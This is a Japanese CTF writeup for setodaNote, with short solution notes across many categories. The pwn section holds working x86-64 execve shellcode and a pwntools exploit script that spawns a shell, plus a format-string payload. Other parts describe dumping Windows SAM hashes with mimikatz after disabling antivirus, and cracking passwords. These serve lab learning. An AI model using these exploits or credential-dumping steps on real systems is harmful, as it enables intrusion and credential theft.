setodaNoteCTF Writeup
久しぶりにCTFに参加しました。2週間あると楽しいですね。生活は壊れるけど。
1問だけ解けず、14位でした。 なぜか非全完民のなかでトップになってしまって恐縮しています(精進しろ)
解きながら書いた雑Writeupなのでたぶん参考にならないですが、自分のメモ代わりに書いておきます。 もしかしたら何か抜けてるかも。
Misc
welcome
- ログインする
- パスワードがわからない
morse_one
- モールス信号
- Dをトン、Bをツー、Sをセパレータ(?)として英語に直す
Hash
- sha256でハッシュ化されているので、
sha256sum hash/* > hoge.txt
で全ファイルのハッシュを取得 - 当てはまるハッシュをファイル内検索で探して、手動cat
F
magic_number
- ここでいうマジックナンバーは、ファイルをバイナリとして開いたときの初めの数バイトのこと
hexdump -C -n 4 magic_number/hoge.fuga
みたいな感じでチェックしていく
Stegano
- GIMPで光度の反転をすると中央、左上とやや右下に文字が現れる
- なんだかんだ気づくのに時間かかった…
morse_zero
- テキストではZしか見えないが、hexdumpで見るとたくさんある
- 各バイトごとに文字に置換して、出現頻度やパターンからモールス信号を考えていく
- 最終的にはmorse_oneと同じ形になる
ransom_note
- NPIEWI-DECRYPT.txtを見ると、GandCrabっぽい
- No More Ransom Projectが復号ツールを配布しているので、使うだけ
Nothing
- Whitespaceなので、オンラインのインタプリタを探して実行
i_knew_it
Redacted
- Adobe Illustratorでマスク外したり(?)してたら黒塗りが消えた
strong_password
- pythonで頑張ろうかと思ったけど、さすがに遅い
- ググると、john-the-ripper.zip2johnとhashcatを使ってGPUでBruteforceしていた
- 1分かからず出た
- hashcatでうまくパターンを書いてあげないと、変なパスワードが答えになってしまった
Network
Host
tkys_never_die
echo_request
- echo_requestに1文字ずつフラグ
- フラグによるとATT&CKにそういうのがあるらしい
stay_in_touch
- wiresharkでメールに添付のZipファイルを取り出してくる
- IMFをエキスポートしたらメーラーに読み込ませられるらしいけど、なぜか重要なやつだけIMFになってなかった…
- 頑張って問題のZipとパスワードをdumpしてbase64 -d
yes_you_can
- 車などの通信に使われるCANが使われているっぽい
- canplayerとICSimを使って動作しそうなことはわかった
- ここに配置されてるならそんなに難しくないはず…と思ったので、candumpして文字チェック
{
が含まれるのが244番のものだけっぽいので、grep 244
してみる- flagが1文字ずつ含まれているのがわかるので、uniqコマンドで重複削除
Digdig
Logger
- どうやらUSBのなにからしい
- うまく補足されてない8byteがデータっぽい
- Interruptで8byteなので、キーボードっぽい?
- ググると、初めの02がシフトの状態、その後の数字はキーの入力のようなので、うまくデコード
- シフトがうまくいかなかったので、後の数字だけデコードして手動で大文字に
tkys_not_enough
- pcapなのにWiresharkで開けない
- 前と後ろが怪しいのかと思って解析するも、特に何もなかった…前半はディレクトリ、後半はドライバ(?)、最後はWindowsのパフォーマンス?
- プロトコルがISAKMPになっているがHTTP通信をしていそう
Web
Body
- ソースを表示してflagで検索
Header
- インスペクタのNetworkからヘッダを見るとある
puni_puni
- punycodeなので、いい感じの変換サイトを探してくる
Mistake
- Bodyと同じ場所に
Webserver directory index
と書かれている- これは、indexファイルがなかったときに、そのディレクトリのファイル一覧を表示する機能
/web003/images/
にアクセスしてみると、flagが見える
tkys_royale
- SQLi
- よくあるパターンのSQLiを入れる
Estimated
- お詫びページで昨日のページを削除したと書いてあるけど、画像は消されてない
- 他の画像のURLから推測
Mx.Flag
Redirect
- 問題URLを開くと、最下部で
document.referrer
がGoogleかどうかをチェックしている- Googleで適当に検索して、aタグを無理やり問題URLに書き換えてアクセスすると、Nice try
- いっぱいリダイレクトしてそうな動作
- curlでリダイレクトを1つ1つ追ってみる
- めんどくさい
- callbackとかdataを見ているページがある
- どうやら
callback=getFlag
にするとよさそうなので、URLを書き換えてやる
- どうやら
OSINT
tkys_with_love
- コールサインから飛行機かと思ったので、「飛行機 C6DF6」で検索したら船が出てきた
Dorks
- inurlを使う
filters_op
from:@cas_nisc until:2017-05-16
MAC
- MACアドレスのベンダー部分とベンダー名の1文字目
tkys_eys_only
- 座標が見えるので検索
- 答えが一意じゃない気がするけど、組織名というのをヒントに
MITRE
- MITRE ATT&CKのIDが並んでいるので、頑張って検索して頭文字を取っていく
Ropeway
- 画像をGoogle Imageにかける
N-th_prime
- オンライン整数列大辞典の
A033844
で、Linkのページに2n番目の素数が列挙されているので、56のところをコピペ
identify_the_source
- VirusTotalみたいなサイトに片っ端からHash入れてみる
- Hybrid Analysisで7月に分析されてる…?
- 下にURLが書かれてるが404でNice Try
- ならInternet Archiveとか?
secret_operation
- とりあえずURLにアクセスしてみると自分の所在地が見えてそう
- ロシアにすればいい?
- プロキシがよくわからなかった(ちょっとこわい)ので、Torで出口ノードを固定してアクセス
torrc
にExitNodes {ru} StrictNodes 1
を追記
- TwitterとLinkがある
- Twitterのいいね欄の初めに、Twitterのpng画像が実はzip展開できるツイートがある
What you need is always there from the start.
なるヒントっぽいものを元に、初めのツイートの写真をzip展開するとBasic認証の鍵- Linkから入ると、またロシアからアクセスするのを求められるが、ロシアからだとフラグ
Crypto
base64
rot13
- rot13
pui_pui
- 適当にCで
char* str = "\x41...";
でprintf
tkys_secret_service
lets_bake
]b2[
でBase64が分割されていそうなので、1つ目を掛けてみると、From_Base64('A-Za-z0-9+/=',true)
- 2つ目以降がわからない…試しに初めのsを消してみるとデコードできた
- デコードできた文を検索にかけてみると、CyberChefを使いそうなので、Recipeの通り組み立ててフラグ
vul_rsa_01
- FactorDBでNを検索すると素因数分解ができる
vul_rsa_02
- クソデカeなのでWiener's Attackかな?と思って実装した
c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 def f(a, b): ret = [] q, r = a//b, a%b a0, a1 = 1, q b0, b1 = 0, 1 while r: a, b = b, r q, r = a//b, a%b a0, a1 = a1, a0 + q * a1 b0, b1 = b1, b0 + q * b1 ret.append(b1) return ret p_d = f(e, n) for d in p_d: pt = pow(c, d, n) print(long_to_bytes(pt))
WEARECIA
- CIAの暗号ってなんや?と思って調べたら、Kryptosというのがあるらしい
- Kryptosの暗号の序盤が、問題文の前半と一致する
- Kryptosの序盤はヴィジュネル暗号というやつみたいで、解説サイトを元にPythonで解読した
Rev
Helloworld
ELF
- ファイルの初めのマジックナンバーが壊れているので、
7f 45 4C 46
に書き換えて実行
Passcode
- 実行して適当に入れてみると、8文字っぽい
- stringsをすると、ちょうど8文字の数字がある
Passcode2
- 実行して適当に入れてみると、11文字っぽい
- angrが動かなくてキレそう
- gdbに突っ込んでみるけど、うまくブレークポイントが貼れない
info proc map
あたりで適当にブレークポイント貼りまくってみたら止まったので、scanfするあたりまでいい感じに進める- あとは普通に1文字ずつチェック
to_analyze
- dnSpyに掛けてみる
- コードの断片が見える…文字列をデコードしてそう
- C#わからないので、Cで同じ動作をするコードを書く
- 普通に実行するとOK
Forensics
paint_flag
- unzip paint_flag.docx
Deletedfile
foremost deletedfile.raw
Timeline
- WindowsのActivitiesCache.dbが渡される
- ググるとWindowsTimeline parserが出てくるので、解析
- 開いたテキストファイルをETagの若い方から読んでいくとFlagになっている
browser_db
- sqliteで開くと、moz_placesテーブルに閲覧履歴があって、いい感じにフラグがある
MFT
- MFTECmdで解析
- ファイルサイズで絞り込んだけど、これ作成日時とかどうやって見るの…?
tkys_another_day
- アニメーションできるAPNGなので、待っていると文字が出たり隠れたりする
- APNGの編集ができるサイトにアップロードしたら、隠れている部分が見える
TITLE (解けず)
- QRコードっぽいのがあるので、復元する?(できなくない?)
- 別の人のWriteupによると、画像の高さが変えられているみたい。
CSIRT_asks_you_01
- evtxファイルをpythonで解析するものがあったので、XMLをそのままtxtに出力
- EventIDが2624でLogonTypeが3のものが、ネットワーク経由でログイン成功を表しているので、頑張って探す
unallocated_space
- photorecで展開
- photorecの使い方がわかってないだけだった…
- 展開できたけどUbuntuでmp4見れなくてSlackに投げる謎行動をした
CSIRT_asks_you_02
$ samdump2 SYSTEM SAM
で得たハッシュのうち、前者がLMハッシュ、後者がNTLMハッシュ- パスワードが空白らしい???
- Windows10のAnniversary Updateからこういう感じになってる?
- つまり古い解析ソフトだと無理っぽい
- ここで無限泥沼編になった
- mimikatzがいいらしい?
- Nortonがしきりに消そうとしてくるので停止させて実行
(mimikatz)# lsadump::sam /system:SYSTEM /sam:SAM
- ハッシュ出た
- あとはjohn the ripperに掛けてみる
- 実はhashcatとかを試してまた泥沼にはまりかけた
Programing
ZZZIPPP
- Pythonで1つずつ解凍していった
echo_me
- 100回数字を返すプログラムをPythonで書いた
- なんだかんだ終わってから文字列受け取るのがつらかった
EZZZIPPP
- パスワードがついただけ
- 時間がかかる…
deep_thought
- echo_meをevalにするだけ
- 改行忘れてなにも起こらん…になってた
Pwn
tkys_let_die
- 長入力でスタックを壊す
- 適当にabcdefgとか入力して、どこがgateに当たるかを探すのが速そう
1989
- CWE-143はフォーマット文字列攻撃
- 要は
printf("%s", hoge)
をprintf(hoge)
としてしまったので、%s
とか書かれると困るぞって話
- 要は
(攻撃アドレスリトルエンディアン)%08x.%08x.%08x.%s
でできる- また改行忘れて何も帰ってこなくて泣いた
Shellcode
- バッファの先頭アドレスが表示されるので、
シェルコード+(文字埋め)+先頭アドレス
の形を送ってシェルを立ち上げたい- Python3のバイナリの使い方がわからんのよ(CV: ノブ)
- Python3がつらかったのは省略
- 適当に文字を8の倍数分いれていくと、80文字を超えるとセグフォしてそう
- シェルコード+埋め分を
printf '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > shellcode
で作成 - Python3ではアドレスを4回(念のため)送りつけるところだけ
from pwn import * io = process('./shellcode') # io = remote('10.1.1.10', 13050) print(io.recvuntil('[0x')) p = io.recvuntil(']')[:-1] print(p) print(io.recvuntil('> ')) addr = p64(int(p.decode('utf-8'), 16)) with open('shellcode', 'rb') as f: io.send(f.readline()) for i in range(4): io.send(addr) io.send('\n') io.interactive()